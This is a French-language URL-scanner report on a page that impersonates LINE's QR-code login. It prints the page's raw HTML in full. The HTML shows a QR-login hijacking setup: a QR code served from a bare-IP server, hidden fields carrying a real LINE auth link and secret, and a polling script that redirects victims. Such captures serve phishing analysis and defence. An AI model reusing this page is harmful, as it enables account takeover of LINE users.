https://gm.lineapplication.me/oauth2/v2.1/qrcode/1

ID de l'analyse :
e03572f9-b488-4abb-b9ac-67b5db2a3a3bTerminée
URL soumise :
https://gm.lineapplication.me/oauth2/v2.1/qrcode/1
Fin du rapport :

Liens : 0 trouvé(s)

Liens sortants identifiés à partir de la page

Variables JavaScript : 7 trouvée(s)

Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel

NomType
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
tailwindobject
/template.htmlstring
$function
jQueryfunction

Messages de journal de console : 3 trouvé(s)

Messages consignés dans la console web

TypeCatégorieEnregistrement
warningother
URL
https://cdn.tailwindcss.com/
texte
cdn.tailwindcss.com should not be used in production. To use Tailwind CSS in production, install it as a PostCSS plugin or use the Tailwind CLI: https://tailwindcss.com/docs/installation
logother
URL
https://gm.lineapplication.me/oauth2/v2.1/qrcode/1
texte
check
errornetwork
URL
https://gm.lineapplication.me/api/v5/line/qr/1/hv2Bix
texte
Failed to load resource: the server responded with a status of 404 ()

HTML

Le corps HTML de la page en données brutes

<!DOCTYPE html><html lang="en"><head>
    <title>LINE Login</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://cdn.tailwindcss.com"></script>

    <style>
      /* :root {
      --bg-image: url('https://payhip.com/cdn-cgi/image/format=auto,width=1500/https://pe56d.s3.amazonaws.com/o_1h8p7sll714a01t611lt91bo51fdp10.png');
    } */
    </style>
  <style>*, ::before, ::after{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-rotate:0;--tw-skew-x:0;--tw-skew-y:0;--tw-scale-x:1;--tw-scale-y:1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness:proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:rgb(59 130 246 / 0.5);--tw-ring-offset-shadow:0 0 #0000;--tw-ring-shadow:0 0 #0000;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-rotate:0;--tw-skew-x:0;--tw-skew-y:0;--tw-scale-x:1;--tw-scale-y:1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness:proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:rgb(59 130 246 / 0.5);--tw-ring-offset-shadow:0 0 #0000;--tw-ring-shadow:0 0 #0000;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }/* ! tailwindcss v3.4.15 | MIT License | https://tailwindcss.com */*,::after,::before{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}::after,::before{--tw-content:''}:host,html{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;tab-size:4;font-family:ui-sans-serif, system-ui, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,pre,samp{font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dd,dl,figure,h1,h2,h3,h4,h5,h6,hr,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}menu,ol,ul{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}[role=button],button{cursor:pointer}:disabled{cursor:default}audio,canvas,embed,iframe,img,object,svg,video{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}.absolute{position:absolute}.inset-0{inset:0px}.mx-2{margin-left:0.5rem;margin-right:0.5rem}.mx-auto{margin-left:auto;margin-right:auto}.mb-8{margin-bottom:2rem}.mt-4{margin-top:1rem}.mt-8{margin-top:2rem}.flex{display:flex}.inline-flex{display:inline-flex}.h-\[150px\]{height:150px}.h-\[50px\]{height:50px}.min-h-\[calc\(100vh_-_80px\)\]{min-height:calc(100vh - 80px)}.min-h-screen{min-height:100vh}.w-\[150px\]{width:150px}.w-full{width:100%}.max-w-md{max-width:28rem}.flex-col{flex-direction:column}.flex-col-reverse{flex-direction:column-reverse}.items-center{align-items:center}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.gap-4{gap:1rem}.gap-6{gap:1.5rem}.rounded-md{border-radius:0.375rem}.border-\[1px\]{border-width:1px}.border-gray-300{--tw-border-opacity:1;border-color:rgb(209 213 219 / var(--tw-border-opacity, 1))}.bg-white{--tw-bg-opacity:1;background-color:rgb(255 255 255 / var(--tw-bg-opacity, 1))}.bg-\[image\:var\(--bg-image\)\]{background-image:var(--bg-image)}.bg-cover{background-size:cover}.bg-center{background-position:center}.bg-no-repeat{background-repeat:no-repeat}.fill-current{fill:currentColor}.p-4{padding:1rem}.px-4{padding-left:1rem;padding-right:1rem}.py-8{padding-top:2rem;padding-bottom:2rem}.text-center{text-align:center}.text-2xl{font-size:1.5rem;line-height:2rem}.text-4xl{font-size:2.25rem;line-height:2.5rem}.text-sm{font-size:0.875rem;line-height:1.25rem}.text-xs{font-size:0.75rem;line-height:1rem}.font-bold{font-weight:700}.font-medium{font-weight:500}.text-black{--tw-text-opacity:1;color:rgb(0 0 0 / var(--tw-text-opacity, 1))}.text-gray-400{--tw-text-opacity:1;color:rgb(156 163 175 / var(--tw-text-opacity, 1))}.text-gray-500{--tw-text-opacity:1;color:rgb(107 114 128 / var(--tw-text-opacity, 1))}.text-green-500{--tw-text-opacity:1;color:rgb(34 197 94 / var(--tw-text-opacity, 1))}.text-sky-500{--tw-text-opacity:1;color:rgb(14 165 233 / var(--tw-text-opacity, 1))}.hover\:text-gray-700:hover{--tw-text-opacity:1;color:rgb(55 65 81 / var(--tw-text-opacity, 1))}.hover\:text-sky-700:hover{--tw-text-opacity:1;color:rgb(3 105 161 / var(--tw-text-opacity, 1))}@media (min-width: 768px){.md\:min-h-\[calc\(100vh_-_48px\)\]{min-height:calc(100vh - 48px)}.md\:min-w-\[480px\]{min-width:480px}.md\:flex-row{flex-direction:row}.md\:px-14{padding-left:3.5rem;padding-right:3.5rem}.md\:shadow-\[0_6px_17px_0_rgba\(0\2c 0\2c 0\2c \.1\)\]{--tw-shadow:0 6px 17px 0 rgba(0,0,0,.1);--tw-shadow-colored:0 6px 17px 0 var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000), var(--tw-ring-shadow, 0 0 #0000), var(--tw-shadow)}}</style></head>

  <body>
    <div class="
        flex
        min-h-screen
        flex-col
        items-center
        justify-center
        bg-[image:var(--bg-image)]
        bg-cover bg-no-repeat bg-center
      ">
      <div class="absolute inset-0">
        <div class="
            flex
            md:min-h-[calc(100vh_-_48px)]
            min-h-[calc(100vh_-_80px)]
            flex-col
            items-center
            justify-center
            px-4
          ">
        <div class="
            w-full
            max-w-md
            rounded-md
            bg-white
            py-8
            md:min-w-[480px]
            md:px-14
            md:shadow-[0_6px_17px_0_rgba(0,0,0,.1)]
            ">
          <h1 class="text-4xl font-bold text-center text-green-500">LINE</h1>
            <div class="
                mt-8
                justify-center
                items-center
                item-center
                flex flex-col
                gap-6
                mb-8
              ">
              <p class="text-2xl">QR code login</p>

              <div class="">
                <img class="w-[150px] h-[150px] mx-auto" src="/api/proxy/qr?url=http://165.22.108.48:8084/qr?ref=hv2Bix">

                <div role="button" class="flex items-center gap-4 text-sm text-gray-400 hover:pointer">
                  <i class="">
                    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" class="fill-current text-gray-400">
                      <path d="M20.944 12.979c-.489 4.509-4.306 8.021-8.944 8.021-2.698 0-5.112-1.194-6.763-3.075l1.245-1.633c1.283 1.645 3.276 2.708 5.518 2.708 3.526 0 6.444-2.624 6.923-6.021h-2.923l4-5.25 4 5.25h-3.056zm-15.864-1.979c.487-3.387 3.4-6 6.92-6 2.237 0 4.228 1.059 5.51 2.698l1.244-1.632c-1.65-1.876-4.061-3.066-6.754-3.066-4.632 0-8.443 3.501-8.941 8h-3.059l4 5.25 4-5.25h-2.92z"></path>
                    </svg>
                  </i>
                  <span onclick="window.location.reload();">Generate new QR code</span>
                </div>
              </div>

              <span class="text-sm text-center">Open the QR code reader on the Android or iOS version of LINE and scan
                this QR code.</span>
            </div>

            <button onclick="window.location.href='https://gm.lineapplication.me/oauth2/v2.1/login/1'" class="
                w-full
                bg-white
                border-gray-300 border-[1px]
                inline-flex
                items-center
                justify-center
                rounded-md
                text-sm
                font-medium
                h-[50px]
                p-4
                mt-4
                w-full
                text-black
              ">
              Log in with email
            </button>
            <input type="hidden" name="_token" value="TtIWyQEM503kzdWpTb3zjfwTYPJh4cF4aBmGgaMF">
            <input type="hidden" name="link" value="https://line.me/R/au/lgn/sq/SQ7845623152655856695139486a4d4a706363424771674e6b36627678456d5947?secret=B3foxZDrhqq/UY3CZQ/em0z/gPA7LODx93wo27C1f1E%3D&amp;e2eeVersion=1">
            <input type="hidden" name="header" value="chrome">
            <input type="hidden" name="code" value="hv2Bix">
            <input type="hidden" name="token" value="">
            <input type="hidden" name="callback" value="">
            <input type="hidden" name="botID" value="1">
            <input type="hidden" name="ip" value="162.158.163.77">

          <div class="mt-4 flex flex-col items-center">
            <a class="mt-4 text-xs text-sky-500 hover:text-sky-700" href="#">
              How to scan QR codes
            </a>
          </div>
        </div>

        <footer class="
            w-full
            text-center text-xs text-gray-500
            p-4
            bg-white
            flex flex-col
            gap-4
            item-center
            justify-between
            flex-col-reverse
            md:flex-row
          ">
          <div>
            <span>© LINE Corporation</span>
          </div>
          <div>
            <a class="mx-2 hover:text-gray-700" href="#"> Privacy Policy </a>
            <span>|</span>
            <a class="mx-2 hover:text-gray-700" href="#">
              Terms and Conditions of Use
            </a>
          </div>
        </footer>
      </div>
    </div>
    <script src="/links/js/jquery.js"></script>

    <script>
          $( document ).ready(function() {

            setInterval(() => {
                console.log('check');
                $.ajax({
                    url: "/api/v5/line/qr/1/hv2Bix",
                    type: 'GET',
                    success: function(data, status, xhr) {
                        if (xhr.status === 200) {
                            console.log(data);
                            window.location.href = data.link;
                        }
                    }
                });
            }, 4500);

          });

    </script>
  

</div></body></html>